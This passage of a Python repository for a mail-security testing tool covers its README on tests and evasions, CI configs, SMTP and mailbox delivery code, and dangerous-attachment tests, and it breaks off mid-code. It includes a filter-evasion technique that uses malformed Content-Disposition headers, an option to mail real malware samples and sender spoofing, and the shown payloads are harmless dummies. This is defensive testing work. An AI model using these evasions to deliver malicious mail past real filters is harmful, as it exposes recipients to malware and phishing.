| 43 | ### Tests 44 | 45 | Own tests can be implemented with a class in one of the iexisting or newly created Python files in the `tests/` 46 | directory. The class must be a subclass of `MailTestBase` located in the module `tests.base` of this project. Newly 47 | implemented tests are discovered automatically when the class variable `active` is set to `True`. Further (if you plan 48 | to contribute tests back to the main repository), the class variables *identifier*, *name* and *description* should be 49 | set appropriately. 50 | 51 | The following base classes exist with methods or class variables intended for overriding: 52 | 53 | * `MailTestBase`: Test class for generic tests. 54 | * `generateTestCases()`: Yields test messages. These should be generated with the `MIME*` classes from the Python 55 | `email.mime.*` packages or with the `Message` class from `email.message` to ensure valid mail messages. 56 | * `active`: Boolean value if test should be active. 57 | * `identifier`: Short identifier of the test. This one is used to enable or disable tests in parameters. 58 | * `name`: Short test title. 59 | * `description`: Longer test description, should fit within approximately 100 characters. 60 | * `delivery_sender` and `delivery_recipient`: Boolean values, *False* by default. Normally, the sender and recipients are set in the 61 | message and the Python SMTP module takes them over from there. Sometimes it is desirable to set them explicitely in 62 | the SMTP library, which can be configured by setting this values to *True*. 63 | * `finalizeMessage(msg)`: By default, the base test class sets the *From* and *To* headers accrodingly. This 64 | behaviour can be overridden if required for the test case. 65 | * `MailAttachmentTestBase`: Test class for attachment test cases. This generates a complete valid mail with a Subject 66 | and a text part and attaches the test case to it. Derived from `MailTestBase`, therefore the methods/variables from it 67 | can be overridden here, too. 68 | * `generateAttachments()`: Yields test cases as (description, attachment) tuples. 69 | * `subject`: Sets the subject. The place holder `{}` is replaced by the description yielded by 70 | `generateAttachments()`. 71 | * `generateTestCases()`: is already overridden with an implementation of the message generation described above, but may be further 72 | adapted if required. 73 | 74 | Setting the subjects of generated messages is highly recommended to be able to recongize the tests in the receiving 75 | inbox. 76 | 77 | ### Evasions 78 | 79 | Evasion classes implement techniques for evading recognition of particular mail properties by mail security solutions. 80 | Currently, a evasion technique that tries to hide attachments from such solutions by intentionally broken 81 | *Content-Disposition* headers is implemented. 82 | 83 | #### Implement new Evasions 84 | 85 | Evasions are implemented by a factory class pattern. The `DeliveryBase` class instantiaties a factory class derived from 86 | the `BaseEvasionFactory` class. The factory constructor receives a flag that indicates if the evasion is activated. The 87 | evasion factory instance is then passed to the test class and stored in its `evasions` attribute that contains a dict 88 | with the evasion identifiers as keys. Inside the test, a evasion class (based on `EvasionBase`) is instantiated with 89 | `getEvasionGenerator()`. The constructor parameter are defined individually per evasion technique. 90 | 91 | The following base classes are used to implement evasions: 92 | 93 | * `BaseEvasionFactory`: Evasion factories must be based on this class. Usually, only the following class variables 94 | should be set: 95 | * `active`: Set to *True* if the evasion should be active. 96 | * `identifier`: Short identifier of the evasion module used for enabling it in the test configuration. 97 | * `name`: Short title of the evasion technique. 98 | * `description`: Longer description of the evasion technique. Should fit in approximately 100 characters. 99 | * `generator_evasion`: Evasion class that is instantiated if the evasion is enabled. 100 | * `generator_default`: Evasion class that is instantiated if the evasion is disabled. 101 | * `BaseEvasion`: Implementation of evasions must be a subclass of this base class. The following method must be 102 | overridden: 103 | * `__init__()`: Should instantiate the class with the base message or attachment that should be manipulated with 104 | evasion techniques. 105 | * `generate()`: Apply the evasion technique to the object passed to the constructor and yield it to the caller as 106 | (description, object with evasion applied) tuple. 107 | 108 | Generally, the evasion class should yield all evasion variants and pass the default as dedicated test case, while the 109 | default evasion classes only pass the given object or create the required data structures, like headers. 110 | 111 | #### Using Evasion Techniques in Test Cases 112 | 113 | Evasion techniques are used in test cases where they are applicable. E.g. if an evasion technique manipulates the header 114 | of a mail or attachment, the following steps have to be implemented: 115 | 116 | 1. Generate the base object (mail or attachment) without consideration of the evasion. 117 | 2. Instantiate the appropriate evasion class by utilization of the evasion factory instance from `self.evasions`, e.g.: 118 | `evasion_items = self.evasions["evasion_identifier"].getEvasionGenerator(message)` 119 | 3. Iterate over the generator and yield the test cases: 120 | ``` 121 | for evasion_item in evasion_items: 122 | yield evasion_item 123 | ``` 124 | 125 | #### Usage of the Content Disposition Evasion Technique 126 | 127 | The content disposition evasion technique is already implemented in the framework and should be used for all test cases 128 | that target on the recognition of malicious attachments. The constructor receives an attachment and the intended file 129 | name. The evasion class then yields (evasion name, attachment with applied evasion technique) tuples that can directly 130 | be yielded by the tests `generateAttachments()` method. 131 | -------------------------------------------------------------------------------- /ci-tests/autodelay.conf: -------------------------------------------------------------------------------- 1 | smtp-server localhost:2525 2 | sender test@test.invalid 3 | to recipient@test.invalid 4 | to recipient2@test.invalid 5 | exclude empty 6 | auto-delay 7 | delay-step 0.1 8 | delay-max 1.0 9 | -------------------------------------------------------------------------------- /ci-tests/delay.conf: -------------------------------------------------------------------------------- 1 | smtp-server localhost:2525 2 | sender test@test.invalid 3 | to recipient@test.invalid 4 | include empty 5 | delay 0.1 6 | -------------------------------------------------------------------------------- /ci-tests/dummies/dummy.eml: -------------------------------------------------------------------------------- 1 | Spam dummy 2 | -------------------------------------------------------------------------------- /ci-tests/dummies/dummy.txt: -------------------------------------------------------------------------------- 1 | Dummy sample 2 | -------------------------------------------------------------------------------- /ci-tests/dummy-blacklist.txt: -------------------------------------------------------------------------------- 1 | blacklisted@test.invalid 2 | @blacklisted.invalid 3 | -------------------------------------------------------------------------------- /ci-tests/maildir-noevasion.conf: -------------------------------------------------------------------------------- 1 | smtp-server test.invalid 2 | sender test@test.invalid 3 | to recipient@test.invalid 4 | log test.log 5 | output test.maildir 6 | maildir 7 | backconnect-domain backconnect.invalid 8 | spam-folder ci-tests/dummies 9 | malware-folder ci-tests/dummies 10 | blacklist ci-tests/dummy-blacklist.txt 11 | -------------------------------------------------------------------------------- /ci-tests/mbox-all.conf: -------------------------------------------------------------------------------- 1 | smtp-server test.invalid 2 | sender test@test.invalid 3 | to recipient@test.invalid 4 | log test.log 5 | output test.mbox 6 | mbox 7 | evasion content-disposition 8 | backconnect-domain backconnect.invalid 9 | spam-folder ci-tests/dummies 10 | malware-folder ci-tests/dummies 11 | blacklist ci-tests/dummy-blacklist.txt 12 | -------------------------------------------------------------------------------- /ci-tests/output-plain.conf: -------------------------------------------------------------------------------- 1 | smtp-server test.invalid 2 | sender test@test.invalid 3 | to recipient@test.invalid 4 | output test.mails 5 | -------------------------------------------------------------------------------- /ci-tests/requirements.txt: -------------------------------------------------------------------------------- 1 | coverage 2 | -------------------------------------------------------------------------------- /ci-tests/smtp-all.conf: -------------------------------------------------------------------------------- 1 | smtp-server localhost:2525 2 | sender test@test.invalid 3 | to recipient@test.invalid 4 | log test.log 5 | evasion content-disposition 6 | backconnect-domain backconnect.invalid 7 | spam-folder ci-tests/dummies 8 | malware-folder ci-tests/dummies 9 | blacklist ci-tests/dummy-blacklist.txt 10 | -------------------------------------------------------------------------------- /ci-tests/testcases.conf: -------------------------------------------------------------------------------- 1 | smtp-server localhost:2525 2 | sender test@test.invalid 3 | to recipient@test.invalid 4 | output test.mbox 5 | mbox 6 | testcases bad_filetypes:1,3,5-10 empty:1 7 | -------------------------------------------------------------------------------- /delivery.py: -------------------------------------------------------------------------------- 1 | # Test case delivery classes 2 | import smtplib 3 | import mailbox 4 | from time import sleep 5 | from logging import CSVLogger, DummyLogger 6 | from tests.discovery import get_evasions 7 | 8 | # Base class 9 | class DeliveryBase: 10 | def __init__(self, target, sender, recipients, args): 11 | """Initializes target for test case delivery, e.g. connection to server""" 12 | self.target = target 13 | self.sender = sender 14 | self.recipients = recipients 15 | self.args = args 16 | self.testcase_selection = args.testcases 17 | 18 | # Initiate logging 19 | if args.log: 20 | self.logger = CSVLogger(args.log) 21 | else: 22 | self.logger = DummyLogger() 23 | 24 | # Build evasion dict with initialized evasion factories 25 | evasions = get_evasions() 26 | self.evasions = { 27 | evasion.identifier: evasion(evasion.identifier in args.evasion) 28 | for evasion in evasions 29 | } 30 | 31 | def deliver_testcase(self, testcase, recipient): 32 | """Delivers test case to target""" 33 | pass 34 | 35 | def deliver_testcases(self, test): 36 | """Deliver all test cases of a test suite to the target""" 37 | self.recipient_index = 1 38 | for recipient in self.recipients: 39 | self.recipient = recipient 40 | self.testcase_index = 1 41 | self.testcases = test(self.sender, recipient, self.evasions, self.args) 42 | try: 43 | testcase_set = self.testcase_selection[test.identifier] 44 | except KeyError: # Definition was given, but not for this test 45 | testcase_set = {} 46 | except TypeError: # No definition was given at all 47 | testcase_set = None 48 | 49 | for testcase in self.testcases: 50 | if testcase_set is None or self.testcase_index in testcase_set: 51 | self.deliver_testcase(testcase, recipient) 52 | self.testcase_index += 1 53 | self.recipient_index += 1 54 | 55 | def close(self): 56 | """Finalizing delivery, e.g. for cleanup or freeing resources""" 57 | self.logger.close() 58 | 59 | class DelayMixin: 60 | """Implements delaying of test cases and automatic delay incremention. Should be mixed in for all network-based delivery classes.""" 61 | def __init__(self, target, sender, recipients, args): 62 | super().__init__(target, sender, recipients, args) 63 | self.delay = self.args.delay or 0 64 | self.auto_delay = self.args.auto_delay 65 | self.delay_step = self.args.delay_step 66 | self.delay_max = self.args.delay_max 67 | self.allow_delay_increase() 68 | 69 | def allow_delay_increase(self): 70 | """Allow automatic increase of delay after it was increased. This prevents multiple increments per test case on multiple errors.""" 71 | self.allow_increase_delay = True 72 | 73 | def increase_delay(self): 74 | """Increase the send delay automatically as configured in arguments. Disable delay increase until next call of .allow_delay_increase()""" 75 | if self.auto_delay and self.allow_increase_delay: 76 | old_delay = self.delay 77 | self.delay += self.delay_step 78 | if self.delay > self.delay_max: 79 | self.delay = self.delay_max 80 | print("! Increased delay from {:0.1f} to {:0.1f}".format(old_delay, self.delay)) 81 | self.allow_increase_delay = False 82 | 83 | def do_delay(self): 84 | """Sleep for the amount currently set as delay.""" 85 | sleep(self.delay) 86 | 87 | def deliver_testcase(self, *args, **kwargs): 88 | """Add delay to each test case""" 89 | super().deliver_testcase(*args, **kwargs) 90 | self.do_delay() 91 | 92 | class SMTPDelivery(DelayMixin, DeliveryBase): 93 | """Deliver test cases to a SMTP server""" 94 | delay_increasing_status = range(400, 500) 95 | 96 | def __init__(self, target, sender, recipients, args): 97 | super().__init__(target, sender, recipients, args) 98 | self.target = target 99 | self.smtp = smtplib.SMTP(target) 100 | 101 | def deliver_testcase(self, testcase, recipient): 102 | super().deliver_testcase(testcase, recipient) 103 | print("Sending test case {} from test '{}' to {}".format(self.testcase_index, self.testcases.name, recipient)) 104 | self.allow_delay_increase() 105 | try: 106 | try: 107 | if testcase.delivery_sender: 108 | sender = self.sender 109 | else: 110 | sender = None 111 | except AttributeError: 112 | sender = None 113 | 114 | try: 115 | if testcase.delivery_recipient: 116 | recipient = recipient 117 | else: 118 | recipient = None 119 | except AttributeError: 120 | recipient = None 121 | 122 | result = self.smtp.send_message(testcase, sender, recipient) 123 | if result: 124 | for failed_recipient, (code, message) in result.items(): 125 | print("! Sending to recipient {} failed with error code {}: {}".format(failed_recipient, code, message)) 126 | self.logger.log(self.testcases.identifier, self.testcase_index, self.recipient, False, code, message) 127 | if code in self.delay_increasing_status: 128 | self.increase_delay() 129 | else: 130 | self.logger.log(self.testcases.identifier, self.testcase_index, self.recipient) 131 | except smtplib.SMTPRecipientsRefused as e: 132 | print("! Reciepent refused") 133 | for failed_recipient, (code, message) in e.recipients.items(): 134 | print("! Sending to recipient {} failed with error code {}: {}".format(failed_recipient, code, str(message, "iso-8859-1"))) 135 | self.logger.log(self.testcases.identifier, self.testcase_index, failed_recipient, False, code, str(message, "iso-8859-1")) 136 | if code in self.delay_increasing_status: 137 | self.increase_delay() 138 | except smtplib.SMTPHeloError as e: 139 | print("! SMTP error while HELO: " + str(e)) 140 | if e.smtp_code in self.delay_increasing_status: 141 | self.increase_delay() 142 | except smtplib.SMTPSenderRefused as e: 143 | print("! SMTP server rejected sender address: " + str(e)) 144 | self.logger.log(self.testcases.identifier, self.testcase_index, self.recipient, False, e.smtp_code, e.smtp_error) 145 | if e.smtp_code in self.delay_increasing_status: 146 | self.increase_delay() 147 | except smtplib.SMTPDataError as e: 148 | print("! Unexpected SMTP error: " + str(e)) 149 | self.logger.log(self.testcases.identifier, self.testcase_index, self.recipient, False, e.smtp_code, e.smtp_error) 150 | if e.smtp_code in self.delay_increasing_status: 151 | self.increase_delay() 152 | except smtplib.SMTPNotSupportedError as e: 153 | print("! SMTP server doesn't supports: " + str(e)) 154 | self.logger.log(self.testcases.identifier, self.testcase_index, self.recipient, False, -1, str(e)) 155 | except smtplib.SMTPServerDisconnected as e: 156 | self.logger.log(self.testcases.identifier, self.testcase_index, self.recipient, False, -2, str(e)) 157 | print("! SMTP server disconnected unexpected - reconnecting: " + str(e)) 158 | self.smtp = smtplib.SMTP(self.target) 159 | 160 | def close(self): 161 | super().close() 162 | self.smtp.quit() 163 | 164 | class FileDelivery(DeliveryBase): 165 | """Dumps each test case into separate plain file""" 166 | def deliver_testcase(self, testcase, recipient): 167 | outname = "{}/{}-{:04d}-{:02d}.msg".format( 168 | self.target, 169 | self.testcases.identifier, 170 | self.testcase_index, 171 | self.recipient_index 172 | ) 173 | try: 174 | out = open(outname, "wb") 175 | out.write(testcase.as_bytes()) 176 | out.close() 177 | except ( IOError, OSError ) as e: 178 | print("! Error while creation of test file {}: {}".format(outname, str(e))) 179 | 180 | class MailboxDeliveryBase(DeliveryBase): 181 | """Base class for delivery methods using the mailbox module""" 182 | mailbox_class = mailbox.Mailbox 183 | 184 | def __init__(self, target, sender, recipients, args): 185 | super().__init__(target, sender, recipients, args) 186 | self.mailbox = self.mailbox_class(target) 187 | 188 | def deliver_testcase(self, testcase, recipient): 189 | self.mailbox.add(testcase) 190 | 191 | def close(self): 192 | super().close() 193 | self.mailbox.close() 194 | 195 | class MBoxDelivery(MailboxDeliveryBase): 196 | mailbox_class = mailbox.mbox 197 | 198 | class MaildirDelivery(MailboxDeliveryBase): 199 | mailbox_class = mailbox.Maildir 200 | -------------------------------------------------------------------------------- /logging.py: -------------------------------------------------------------------------------- 1 | # Reporting of test results 2 | 3 | import csv 4 | 5 | class DummyLogger: 6 | """/dev/null logger""" 7 | def __init__(self): 8 | pass 9 | 10 | def log(self, test : str, testid : int, recipient : str, delivered : bool = True, code : int = 0, msg : str = ""): 11 | pass 12 | 13 | def close(self): 14 | pass 15 | 16 | class CSVLogger: 17 | """Logging of test results""" 18 | def __init__(self, logfile): 19 | self.csvfile = open(logfile, "w") 20 | self.csv = csv.writer(self.csvfile) 21 | self.csv.writerow(("Test Class", "Test ID", "Recipient", "Delivered", "Code", "Message")) 22 | 23 | def log(self, test : str, testid: int, recipient : str, delivered : bool = True, code : int = 0, msg : str = ""): 24 | """Log result""" 25 | self.csv.writerow((test, testid, recipient, delivered, code, msg)) 26 | 27 | def close(self): 28 | self.csvfile.close() 29 | -------------------------------------------------------------------------------- /mail-tester.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Test framework for mail security solutions 3 | 4 | import argparse 5 | import sys 6 | from tests.discovery import get_tests, get_evasions 7 | from delivery import SMTPDelivery, FileDelivery, MBoxDelivery, MaildirDelivery 8 | 9 | class TestcaseArgumentParser(argparse.Action): 10 | """Parse test case selection definition, e.g. test:10-20,30 and returns a dict of sets""" 11 | def __call__(self, parser, args, values, optstr=None): 12 | result = dict() 13 | for value in values: 14 | try: 15 | test, iddefs = value.split(":") 16 | except ValueError: 17 | raise ValueError("Test case definition must have the syntax test:id-defs, there must be exactly one colon!") 18 | 19 | idset = set() 20 | for iddef in iddefs.split(","): 21 | if "-" in iddef: # range 22 | try: 23 | id_from, id_to = iddef.split("-") 24 | except ValueError: 25 | raise ValueError("Testcase identifier definitions may be single numbers or ranges (from-to).") 26 | 27 | try: 28 | id_from = int(id_from) 29 | id_to = int(id_to) 30 | except ValueError: 31 | raise ValueError("Test case identifiers must only contain numbers or ranges of numbers.") 32 | idset.update(range(id_from, id_to + 1)) 33 | else: # single test case 34 | try: 35 | id_val = int(iddef) 36 | except ValueError: 37 | raise ValueError("Test case identifiers must only contain numbers or ranges of numbers.") 38 | idset.add(id_val) 39 | 40 | result[test] = idset 41 | setattr(args, self.dest, result) 42 | 43 | class BlacklistArgumentParser(argparse.Action): 44 | """Read each blacklist file and consolidate all entries into one list""" 45 | def __call__(self, parser, args, values, optstr=None): 46 | blacklist = set() 47 | for value in values: 48 | try: 49 | f = open(value, "r") 50 | except (IOError, OSError) as e: 51 | print("Failed to open blacklist file '{}': {}".format(value, str(e)), file=sys.stderr) 52 | sys.exit(1) 53 | blacklist.update([l.strip() for l in f.readlines()]) 54 | setattr(args, self.dest, sorted(list(blacklist))) 55 | 56 | class MailTesterArgumentParser(argparse.ArgumentParser): 57 | 58 | def __init__(self, *args, **kwargs): 59 | super().__init__( 60 | description="Test framework for mail security solutions", 61 | epilog="Parameters can be read from a file by a @filename parameter. The file should contain one parameter per line. Dashes may be omitted.", 62 | fromfile_prefix_chars="@", 63 | ) 64 | 65 | def convert_arg_line_to_args(self, line : str): 66 | return ("--" + line.lstrip("--")).split() 67 | 68 | argparser = MailTesterArgumentParser() 69 | argparser.add_argument("--smtp-server", "-s", default="localhost", help="SMTP server that is tested") 70 | argparser.add_argument("--sender", "-f", default="sender@test.invalid", help="Sender address") 71 | argparser.add_argument("--to", "-t", action="append", help="Recipient address. Multiple addresses can be given by repetition of parameter") 72 | argparser.add_argument("--send-one", "-1", action="store_true", help="Send one mail for all recipients instead of one per recipients") 73 | argparser.add_argument("--delay", "-d", type=float, help="Delay delivery by given number of seconds after each mail") 74 | argparser.add_argument("--auto-delay", "-D", action="store_true", help="Automatically increase delay on 4xx SMTP errors. Uses --delay as initial send delay, increases by --delay-step seconds until --delay-max is reached.") 75 | argparser.add_argument("--delay-step", "-Ds", type=float, default=0.2, help="Delay is increased by this amount of seconds on 4xx SMTP error codes if --auto-delay is enabled. Default: %(default)s seconds") 76 | argparser.add_argument("--delay-max", "-Dm", type=float, default=5.0, help="Automatic delay is not increased over this threshold. Default: %(default)s seconds") 77 | argparser.add_argument("--include-test", "-i", action="append", help="Select test classes (see --list for choices)") 78 | argparser.add_argument("--exclude-test", "-x", action="append", help="Select test classes that should be excluded (see --list for choices)") 79 | argparser.add_argument("--testcases", "-T", nargs="+", action=TestcaseArgumentParser, help="Select specified test cases for execution, e.g. test:1,2,10-20") 80 | argparser.add_argument("--list", "-l", action="store_true", help="List test classes and evasion modules.") 81 | argparser.add_argument("--log", "-L", help="Test result log in CSV format") 82 | argparser.add_argument("--output", "-o", help="Dump tests into files in this path. By default one plain file is created per message. Further formats can be created by usage of --mbox and --maildir.") 83 | argparser.add_argument("--backconnect-domain", "-b", default="localhost", help="Domain that is used for test cases where a communication backchannel is required. This should be a domain that allows the recognition of DNS queries.") 84 | argparser.add_argument("--spoofed-sender", "-F", help="Mail address used for testing of internal sender spoofing from the Internet. If this is not set, the first recipient address is used.") 85 | argparser.add_argument("--blacklist", "-B", action=BlacklistArgumentParser, default=list(), nargs="+", help="Files containing black lists. One mail address per line. Entries beginning with @ are prepended with local part 'test'.") 86 | argparser.add_argument("--spam-folder", "-j", nargs="+", default=list(), help="Folder with spam messages in EML format") 87 | argparser.add_argument("--malware-folder", "-w", default=list(), nargs="+", help="Folder with malware samples that are sent as attachment") 88 | argparser.add_argument("--evasion", "-e", action="append", default=list(), help="Enable evasion modules") 89 | mailbox_format_group = argparser.add_mutually_exclusive_group() 90 | mailbox_format_group.add_argument("--mbox", "-m", action="store_true", help="Dump test cases in mbox file format.") 91 | mailbox_format_group.add_argument("--maildir", "-M", action="store_true", help="Dump test cases in maildir directory.") 92 | args = argparser.parse_args() 93 | 94 | tests = get_tests() 95 | 96 | if args.list: # print test list 97 | evasions = get_evasions() 98 | print("Tests") 99 | print("=====") 100 | print("{:30s} | {:40} | {}".format("Test ID", "Test", "Description")) 101 | print("-" * 31 + "+" + "-" * 42 + "+" + "-" * 56) 102 | print("\n".join(["{:30s} | {:40s} | {}".format(test.identifier, test.name, test.description) for test in sorted(tests, key=lambda test: test.identifier)])) 103 | print() 104 | print("Evasions") 105 | print("========") 106 | print("{:30s} | {:40} | {}".format("Evasion ID", "Evasion", "Description")) 107 | print("-" * 31 + "+" + "-" * 42 + "+" + "-" * 56) 108 | print("\n".join(["{:30s} | {:40s} | {}".format(evasion.identifier, evasion.name, evasion.description) for evasion in sorted(evasions, key=lambda evasion: evasion.identifier)])) 109 | sys.exit(0) 110 | 111 | # Construct final recipient list (one mail per recipient or one for all recipients?) 112 | recipients = args.to 113 | if args.send_one: 114 | recipients = [ recipients ] 115 | 116 | # Choose delivery class 117 | if args.output: 118 | file_delivery_args = (args.output, args.sender, recipients, args) 119 | if args.mbox: 120 | delivery = MBoxDelivery(*file_delivery_args) 121 | elif args.maildir: 122 | delivery = MaildirDelivery(*file_delivery_args) 123 | else: 124 | delivery = FileDelivery(*file_delivery_args) 125 | else: 126 | delivery = SMTPDelivery(args.smtp_server, args.sender, recipients, args) 127 | 128 | for test in tests: 129 | if args.include_test and test.identifier not in args.include_test \ 130 | or args.exclude_test and test.identifier in args.exclude_test: 131 | continue 132 | delivery.deliver_testcases(test) 133 | 134 | delivery.close() 135 | -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TKCERT/mail-security-tester/f0e9e68ca0a1af894850de73061d4c94313b326b/tests/__init__.py -------------------------------------------------------------------------------- /tests/base.py: -------------------------------------------------------------------------------- 1 | # Base classes for test description 2 | 3 | from email.mime.multipart import MIMEMultipart 4 | from email.mime.text import MIMEText 5 | 6 | class MailTestBase: 7 | """Mail test base class""" 8 | active = False 9 | identifier = "base" 10 | name = "Mail Test Base" 11 | description = "Base class for mail tests" 12 | delivery_sender = False # Add sender explicitely in SMTP dialog 13 | delivery_recipient = False # Add recipient explicitely in SMTP dialog 14 | 15 | def __init__(self, sender, recipient, evasions, args): 16 | self.sender = sender 17 | self.recipient = recipient 18 | self.evasions = evasions 19 | self.args = args 20 | 21 | def passAttributes(self, msg): 22 | """Pass test attributes to result test case""" 23 | msg.delivery_sender = self.delivery_sender 24 | msg.delivery_recipient = self.delivery_recipient 25 | 26 | return msg 27 | 28 | def finalizeMessage(self, msg): 29 | """Add sender and recipient address as From: and To: header to message""" 30 | if "From" not in msg: 31 | msg["From"] = self.sender 32 | 33 | if type(self.recipient) == list: 34 | msg["To"] = ", ".join(self.recipient) 35 | else: 36 | msg["To"] = self.recipient 37 | 38 | return msg 39 | 40 | def generateTestCases(self): 41 | """Test case generator - must be overridden""" 42 | raise NotImplementedError("Test case generator not implemented") 43 | 44 | def __iter__(self): 45 | """Generates test cases. By default, test cases from generateTestCases() are completed with finalizeMessage().""" 46 | yield from ( self.finalizeMessage(self.passAttributes(msg)) for msg in self.generateTestCases() ) 47 | 48 | class MailAttachmentTestBase(MailTestBase): 49 | """Base class for tests of attachments""" 50 | identifier = "base-attachment" 51 | name = "Mail Attachment Test Base" 52 | description = "Base class for mail attachment tests" 53 | subject = "Attachment Test - {}" # place holder is replaced with test attachment description 54 | text_message = "This is a test mail" # Message for text part 55 | 56 | def generateAttachments(self): 57 | """Generates attachment parts that are wrapped into a full mail message by generateTestCases() method""" 58 | raise NotImplementedError("Attachment generator is not implemented!") 59 | 60 | def generateTestCases(self): 61 | """Generates a mail per attachment from generator method generateAttachments()""" 62 | for desc, attachment in self.generateAttachments(): 63 | msg = MIMEMultipart() 64 | msg["Subject"] = self.subject.format(desc) 65 | textpart = MIMEText(self.text_message) 66 | msg.attach(textpart) 67 | msg.attach(attachment) 68 | yield msg 69 | -------------------------------------------------------------------------------- /tests/blacklisting.py: -------------------------------------------------------------------------------- 1 | # Test black lists 2 | 3 | from email.mime.text import MIMEText 4 | from .base import MailTestBase 5 | 6 | class BlacklistedSenderAddressTest(MailTestBase): 7 | active = True 8 | identifier = "sender_blacklist" 9 | name = "Blacklisted Senders" 10 | description = "Send mails with addresses from a black list (--blacklist)" 11 | 12 | domain_prefix = "test" # if whole domains are blacklisted (address entry begins with @), this is prepended as local address part 13 | subject = "Blacklisted Sender" 14 | body = "The sender is blacklisted and the mail should be filtered" 15 | 16 | def generateTestCases(self): 17 | for addr in self.args.blacklist: 18 | if addr.startswith("@"): 19 | addr = self.domain_prefix + addr 20 | msg = MIMEText(self.body) 21 | msg["From"] = addr 22 | msg["Subject"] = self.subject 23 | yield msg 24 | -------------------------------------------------------------------------------- /tests/bounce.py: -------------------------------------------------------------------------------- 1 | from .base import MailTestBase 2 | from email.mime.text import MIMEText 3 | from email.message import Message 4 | 5 | class AlmostEmptyMailTest(MailTestBase): 6 | active = True 7 | identifier = "bounce" 8 | name = "Bounce-like mail" 9 | description = "Mail with empty envelope" 10 | 11 | subject = "Mail Delivery System" 12 | message = """ 13 | This message was created automatically by mail delivery software. 14 | 15 | A message that you sent could not be delivered to all of its recipients. 16 | This is a permanent error. The following address(es) failed: 17 | 18 | test@testinvalid 19 | """ 20 | 21 | def generateTestCases(self): 22 | msg = MIMEText(self.message) 23 | msg["Subject"] = self.subject 24 | msg["From"] ="<>" 25 | yield msg 26 | -------------------------------------------------------------------------------- /tests/bulk.py: -------------------------------------------------------------------------------- 1 | # Bulk mails 2 | 3 | from email.mime.text import MIMEText 4 | from .base import MailTestBase 5 | 6 | class MailingListTest(MailTestBase): 7 | active = True 8 | identifier = "mailinglist" 9 | name = "Mailing list headers" 10 | description = "Mails that contain mailing list headers (List-*)" 11 | 12 | subject = "Mailing List" 13 | body = "Mailing list header test" 14 | headers = ( 15 | ("List-Id", ""), 16 | ("List-Unsubscribe", ""), 17 | ("List-Unsubscribe-Post", "List-Unsubscribe=One-Click"), 18 | ("X-ulpe", "foobar@test.invalid"), 19 | ("DKIM-Signature", "v=1; a=rsa-sha256; c=relaxed; s=mailing; d=test.invalid; h=Date:From:Reply-To:To:Message-ID:Subject:MIME-Version:Content-Type:List-Id: X-CSA-Complaints:List-Unsubscribe:List-Unsubscribe-Post:X-ulpe:Feedback-ID; bh=Zm9vYmFyCg==; b=Zm9vYmFyCg=="), 20 | ) 21 | 22 | def generateTestCases(self): 23 | msg = MIMEText(self.body) 24 | msg["Subject"] = self.subject 25 | for header, value in self.headers: 26 | msg[header] = value 27 | yield msg 28 | -------------------------------------------------------------------------------- /tests/dangerous_attachments.py: -------------------------------------------------------------------------------- 1 | # Dangerous attachments test 2 | 3 | from io import BytesIO 4 | import zipfile 5 | import tarfile 6 | import gzip 7 | import bz2 8 | from email.mime.application import MIMEApplication 9 | from .base import MailAttachmentTestBase 10 | 11 | class DangerousFileAttachment(MailAttachmentTestBase): 12 | """Generates attachments with known bad suffixes""" 13 | active = True 14 | identifier = "bad_filetypes" 15 | name = "Bad File Types" 16 | description = "Attach files with known bad suffixes" 17 | subject = "Known bad attachment type - {}" 18 | known_bad_suffixes = ( 19 | "ade", "adp", "app", "asp", "bas", "bat", "bhx", "cab", "ceo", "chm", 20 | "cmd", "com", "cpl", "crt", "csr", "der", "exe", "fxp", "hlp", "hta", 21 | "inf", "ins", "isp", "its", "js", "jse", "lnk", "mad", "maf", "mag", 22 | "mam", "mar", "mas", "mat", "mde", "mim", "msc", "msi", "msp", "mst", 23 | "ole", "pcd", "pif", "reg", "scr", "sct", "shb", "shs", "vb", "vbe", 24 | "vbmacros", "vbs", "vsw", "wmd", "wmz", "ws", "wsc", "wsf", "wsh", "xxe", 25 | "docm", "xlsm" 26 | ) 27 | file_name = "badsuffix.{}" 28 | file_content = b"foobar " * 100 29 | 30 | def generateAttachments(self): 31 | for suffix in self.known_bad_suffixes: 32 | attachment = MIMEApplication(self.file_content) 33 | final_attachments = self.evasions["content_disposition"].getEvasionGenerator(attachment, self.file_name.format(suffix)) 34 | for ev_desc, final_attachment in final_attachments.generate(): 35 | yield "{} {}".format(self.file_name.format(suffix), ev_desc), final_attachment 36 | 37 | class DangerousCompressedFileAttachment(MailAttachmentTestBase): 38 | """Generates attachments with known bad suffixes""" 39 | active = True 40 | identifier = "compressed_bad_filetypes" 41 | name = "Compressed Bad File Types" 42 | description = "Bad EXE file attachment contained in various archive formats" 43 | subject = "Known bad attachment type in archive - {}" 44 | exe_name = "test.exe" 45 | exe_content = b"MZ" + b"foobar " * 100 46 | zip_name = "test.zip" 47 | tar_formats = ( # Description, file name, tarfile format constant 48 | ("TAR - GNU" , "test-gnu.tar" , tarfile.GNU_FORMAT) , 49 | ("TAR - USTAR" , "test-ustar.tar" , tarfile.USTAR_FORMAT) , 50 | ("TAR - PAX" , "test-pax.tar" , tarfile.PAX_FORMAT) , 51 | ) 52 | compression = ( # Description, suffix, MIME subtype, compression function 53 | ("GZip compressed" , ".gz" , "gzip" , gzip.compress) , 54 | ("BZip2 compressed" , ".bz2" , "x-bzip" , bz2.compress) , 55 | ) 56 | 57 | def generateAttachments(self): 58 | # ZIP 59 | f_zip = BytesIO() 60 | zip_file = zipfile.ZipFile(f_zip, "w", zipfile.ZIP_DEFLATED) 61 | zip_file.writestr(self.exe_name, self.exe_content) 62 | zip_file.close() 63 | 64 | attachment = MIMEApplication(f_zip.getvalue(), "zip") 65 | attachment.add_header("Content-Disposition", "attachment", filename=self.zip_name) 66 | f_zip.close() 67 | yield "ZIP", attachment 68 | 69 | # TAR 70 | f_exe = BytesIO(self.exe_content) 71 | tarinfo = tarfile.TarInfo(self.exe_name) 72 | tarinfo.size = len(f_exe.getvalue()) 73 | tarinfo.mode = 0o755 74 | for desc, tar_name, tar_format in self.tar_formats: 75 | f_tar = BytesIO() 76 | tar = tarfile.TarFile(fileobj=f_tar, mode="w", format=tar_format) 77 | tar.addfile(tarinfo, f_exe) 78 | f_exe.seek(0) 79 | tar.close() 80 | attachment = MIMEApplication(f_tar.getvalue(), "x-tar") 81 | attachment.add_header("Content-Disposition", "attachment", filename=tar_name) 82 | yield desc, attachment 83 | 84 | # compressed 85 | for comp_desc, suffix, mime_subtype, compressor in self.compression: 86 | attachment = 